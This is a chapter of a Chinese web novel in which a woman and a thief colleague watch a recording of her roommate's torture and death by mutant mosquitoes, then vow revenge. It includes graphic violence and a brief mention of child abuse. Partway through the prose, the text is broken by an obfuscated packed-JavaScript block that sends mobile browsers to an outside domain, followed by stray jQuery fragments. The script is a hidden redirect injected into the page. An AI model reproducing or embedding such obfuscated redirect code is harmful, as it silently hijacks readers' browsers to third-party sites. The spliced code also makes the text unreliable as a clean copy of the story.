凌晨将近,小病号车领着一辆豪华的商务车驶进月亮湾。
“就这么随便让人知道你家的住址?”池夏没忍住,看向一旁仰躺吃葡萄的辛燃问道。
何家的进口葡萄,一粒有苹果那么大,一串葡萄跟一串大香蕉似的占满后座。辛燃已经啃了两个,肉质香甜软糯,香气回味无穷。关键嫁接技术了得,一串上有好几种口味,颜色也各不相同,蓝的紫的红的绿的,像在拆盲盒。
辛燃在吃第三个,瞥眼就能看见后面紧跟着的车辆,“这月亮湾不是人住的?怕什么,我都敢把你一个来历不明的人带回家住,何家在新界好歹有名有姓。碗大的葡萄你要不要来一个,皮儿不酸又脆又甜,没籽儿。”
职业杀手都会隐藏自己的住址,辛燃这么明目张胆的,难道是判断失误了?
池夏扭头向后,那一挂水灵灵的葡萄确实诱人,她伸手准备摘下一个吃,“什么颜色好吃?”
辛燃:“我吃了红的蓝的跟紫的,你吃一个绿的,一会儿告诉我是什么口味儿。”
池夏摘下一个绿的,咬下一嘴,酸甜适中唇齿流香,不怪辛燃停不下来。
“已到达目的地,准备下车。”
两人在小病号车停妥后下车,辛燃随便安排了两句,和池夏两人站在门口吃葡萄,看着那几个佣人把何家送的东西,大箱小箱搬去后院仓库门口,整齐放在屋檐下,又帮着把小病号车后备箱里小艾同学家送的,也顺手给他们搬了下来。
两人挥手告别何家佣人,辛燃看看堆满礼物的屋檐下,“咱俩的家访计划,要不暂时缓缓?”
池夏咽下最后一口葡萄,在静谧的夜晚问下一句危机四伏的话,“魔方在哪儿?”
空气因她这话,有过一瞬的凝滞。
辛燃又咬了一嘴葡萄,笑意慢慢淡去,“这么迫不及待,你认识我说的那个女孩儿?”
池夏没有说话,安静地看着辛燃。
辛燃不紧不慢地嚼着葡萄,鲜爽的汁水滋润着味蕾,他一双明亮锐利的眼睛与池夏对视,在池夏那双沉静的眼中看到势在必得,这种自信叫人莫名欣赏。
“你果然认识那个女孩儿。”辛燃下了结论,“我提前跟你打声招呼,她死的很惨,你确定要看?”
池夏:“确定。”
据说有钱人的地下室都是别有洞天,隔间夹层应有尽有,用来藏匿见不得人的东西。
辛燃这种在富豪云集之地购房,又出来当牛马,小气抠搜样儿尽显的,应该算不上有钱人,他的地下室没有隔间和夹层,可它整间都见不得人。
昏暗灯光下,架子上那些“特殊人才”的作案工具,闪着异样的光泽。
池夏分辨了几样,有撬门的“万.能钥匙”,下玻璃的“好用绳”,还有爬墙的“壁虎鞋”,以及那一排大小不一粗细不均的,金属圆棍和识别光线的手电……
“怕了?”辛燃见她看得目不转睛,笑着打趣。
池夏指着他这一屋子,“你这些是…爱好?”
“我不信你看不出来,我主业其实是一名盗亦有道的神偷。”
这么看来,辛燃的整体表现确实跟一名盗贼对得上号,可他真是小偷?
“神偷?你偷了什么?”
“楼上那些值钱的都是我顺来的,包括上次咱俩开那瓶六位数的威士忌。”说着辛燃拍拍自己全黑的“战甲”,上面竟然落了一层灰,看来主业已经荒废很久了。
防弹夜行衣后面,是一张环形桌,上面摆着三部曲面电脑,池夏跟着辛燃坐进去,一个全息监控室立体呈现。
对于辛燃是小偷的身份,池夏信了五分,“有钱人家的安保是一流的,你战绩这么好,身手一定非常了得?”
“嘿,我又不去活人家里顺。”
“你这话什么意思?”
辛燃伸手,从电脑桌上拿过一个摆件,池夏的视线随着他的动作,看到了那个稀有金属做的机械心脏摆件,她皱起眉头,这东西她好像在哪里见过。
辛燃把玩着摆件,“眼熟么?”
池夏努力回忆,辛燃说,“这是林副厂长书桌上的摆件,整个新界仅此一件,因为里面装着一枚拷贝了复活天赋的芯片。”
池夏已经说不出话,她头皮发麻地看着眼前的辛燃,这个既熟悉又陌生的,同事。
“他死过一回,我知道的,从那晚看见他的脸我就认出来了。我好奇的是,你怎么也知道?”
池夏呆呆看着那个摆件,“你说你不去活人家里顺,所以,这个摆件是林牧死后,你从他家顺走的?”
辛燃:“没错。我回答了你的问题,该你回答我的问题,你又为何会知道他已经死过一次?”
如果辛燃的确是盗贼,那么他已经对自己坦白了,或许自己也可以……
“我之前在殡仪馆工作,是我接待的他。”
辛燃皱眉,“真的?我对你可是一直非常坦诚的,你确定要继续逗我玩儿?”
池夏点头,平静地直视辛燃质疑的目光,哪怕辛燃坦白,她也不能冒这个险。
“我的确曾经是一名入殓师。”
“你的意思是,就因你在殡仪馆接待过他,就让一伙人围绕你制造车祸和爆炸?你是什么级别的入殓师?跟这些人又是什么仇什么怨?犯得着他们这么兴师动众。”
池夏没想到辛燃这么敏锐,他好像也想清楚了某个重要的环节,见池夏满脸坦然,辛燃放弃了,滑动鼠标链接那个被他修复好的微单魔方,点开了里面录的视频。
“这视频我看过一遍了,你自己看吧。”
说完,辛燃就起身离开了。
池夏等辛燃关上地下室的门,便目不转睛地看着录像,那个在一间废弃仓库衣衫褴褛,被一群恶犬和蒙面男人追着跑的,真是失踪的姐妹。
池夏忍不住伸手去触摸全息立体呈现的女人,她的脸上全是伤,有的结痂了,有的还是新的,黑色的紧身衣上都是破口,破口处露出白的肉红的血,大小不一的伤口随着她的跑动,一直在往外渗血。
前面有一扇门,姐妹冲着那扇门去,池夏的心跟着揪起,看着姐妹使劲儿扯捆住门栓的铁链,后面的恶犬和男人逼近,恶犬狂吠,差互的犬牙里塞着新鲜的血肉,满嘴狗毛上都是血,似乎还冒着热气……
池夏不禁握紧了拳,控制不住想要一拳一条砸死那些畜生,可是姐妹在里面的无助是已成定局的录像。
姐妹惊恐回头,看着不到两米的恶犬,抬脚踹开了那扇门,池夏跟着松了一口气,可一扇门后还是一间仓库,里面似乎散发出恶臭,姐妹生理性反应地干呕,连忙捂住嘴,转头去看,拉着恶犬的男人关上了那扇她刚刚踹开的门,把她一个人关在了这间新仓库。
不好的预感,同时在姐妹和池夏的心里升起。
姐妹抬眼望去,偌大的仓库那头有看不真切的黑雾,随着侧门射进一道红色光线,那些黑雾发出“嗡嗡”的声响。
“跑!”池夏看出了那是什么,急得破口低喊。
姐妹站着看了几秒,瞳孔一缩,吓得转身去拍之前那道门想要回去,可那门被从对面锁死,任凭她怎么使劲儿摇晃砸踹,那合在一起的两扇门都没有要松开的意思。
“嗡嗡!”震耳欲聋的低频震动靠近,那些口器五十公分长的变异蚊虫,红着双眼盯紧了浑身流血的姐妹。
“只要你招出一个组织成员,我就给你个痛快,怎么样?考虑清楚没有?”那道门后,传来一句电子音,那电子音是特制的,变异赤眼蚊听着很兴奋,震动频率变快。
姐妹紧紧贴着门,咬着牙没有求饶,可那些拳头大的蚊虫已经将她周围每一寸空间都填满,等着门后那人一声令下,她就会被这些变异蚊戳成筛子!
“赤眼蚊你应该听说过吧,被叮一下,就能感受从人间到地狱的痒痛,你面前这些能在一瞬间将你叮成水球,你信吗?”
姐妹自然知道,她看过之前网上疯传的那个视频,一个男人被关进变异赤眼蚊孵化箱,十秒后,被几百只赤眼蚊叮咬过的男人全身长满了水泡,那些毒液搜刮人体全身的水分,将皮肉强行分离,感染了毒液的水分释放神经毒素,把人折磨得生不如死。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215561|181276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
男人活生生撞死在孵化箱里的惨状,让她吐了一天。
姐妹似乎反应过来,刚刚进来闻到的恶臭,就是被赤眼蚊叮要后皮破了,流出毒液的腐烂味。
姐妹扶着门开始呕吐,那味儿像针似的往她肉里钻。
“我数三下,我给你的时间已经太多了。”门后的声音就像恶魔的低吟,催促着姐妹去死。
池夏的眼泪不受控制地往下掉,她很想告诉姐妹,这种时候就算她把自己供出来,她也理解。
可是,姐妹呕吐之后,竟然没有犹豫,反身一头撞死在门上。
“真是一具茅坑里的臭石头!享用吧。”
随着男人的一声令下,那些赤眼蚊蜂拥而至,连姐妹的尸体都没有放过。
池夏已经双肩颤抖,克制是肌肉记忆,但愤怒和悲恸加在一起,让她硬生生捏碎了椅子的扶手。
看着那个迅速股成水球的姐妹,池夏咬住手,哭得泣不成声。
她能猜到姐妹是同行,做了那么久的室友,姐妹肯定也猜到了她的身份,可是姐妹哪怕凌辱至死都没有供出她,还给她留了一条退路,把所剩不多的财产留给她。
“我们只是,有同样一个爱好而已,你这样护着我。我甚至,都不知道你的名字!”
辛燃在门外听着里面细微的动静,一声不响地灭了烟,去上面酒柜拿了一瓶最贵的威士忌,打开等着。
没一会儿,整理好情绪的池夏走了上来,她又成了那个面无表情的呆呆女老师。
辛燃看着她,“过来喝一杯?”
池夏坐过去,“好。”
不光人冷静,语气也极其淡定,若非辛燃那会儿立在门外,差点就以为那个女孩儿的死对她没有任何触动。
辛燃不禁有些佩服她,一个女孩子,竟然可以强悍成这样,她到底经历过什么?
辛燃给她倒了一大杯,“尝尝。”
池夏端起酒杯抿了一口,“嗯,不错,谢谢。”
“我以前会跟在一帮杀手后面,把他们杀掉的家伙家里抄一遍,顺走他们最好的东西。”辛燃举着酒杯,“这瓶是一个在养老院猥亵儿童的死老头藏在酒窖里的。”
竟然还是熟人,池夏淡淡扫了辛燃一眼,这家伙是怎么想到要去抄死人的家的?杀手组织出手的都是有料有家底的目标,他去抄这些人的家,可想而知收获有多丰富,怪不得他能盘下月亮湾大别墅,还挥金如土的装修。
池夏不得不承认,这人的脑子太好使了,一个人怎么能鸡贼成这样?
而她又为何只想着干掉目标拿悬赏,真是人比人气死人。
辛燃:“那老家伙死有余辜,我在他书房翻到一本照片集册,上面有103个儿童的私密照,上面纪录着他什么时间地点,如何猥亵那名儿童。”
池夏目瞪口呆,这种信息甚至连她这个作案当事人,都没有调查的那么仔细!
“辛燃,你为什么会想到要去抄这些人的家?”
“想知道?”
池夏灌下一大口酒,从沙发坐到了地上,顺手抓了头上被汗水和泪水浸湿的长假发,扔在地上,转头看向辛燃的时候,是干练利索的短发,“看你,想说就说。”
辛燃有些惊讶,一个人天天在你面前晃悠,戴着眼镜假发和不戴时,差距竟然这么明显,瞬间从呆板木讷转变成一个精致漂亮的英气女孩儿。
“你在看什么?”
辛燃移开视线,“你怎么是短发?那什么,我的理想型就是短发。”
池夏被他逗笑,“哦,你的理想型,原来是男性占比更大的短发特征。”
“胡说,我才不喜欢男的,我是直男,直男你懂不懂?”
池夏的笑被苦涩淹没,“不聊就喝酒吧,我想醉。”
辛燃又给她满上,“那女孩儿是你什么人?”
池夏的眼眶又红了,“室友。”
“知道她这样被人弄死,你想不想做点什么?”
池夏抬起一双猩红的眼睛,绝望且坚定地看着辛燃,平静开口,“我要让他们付出代价。”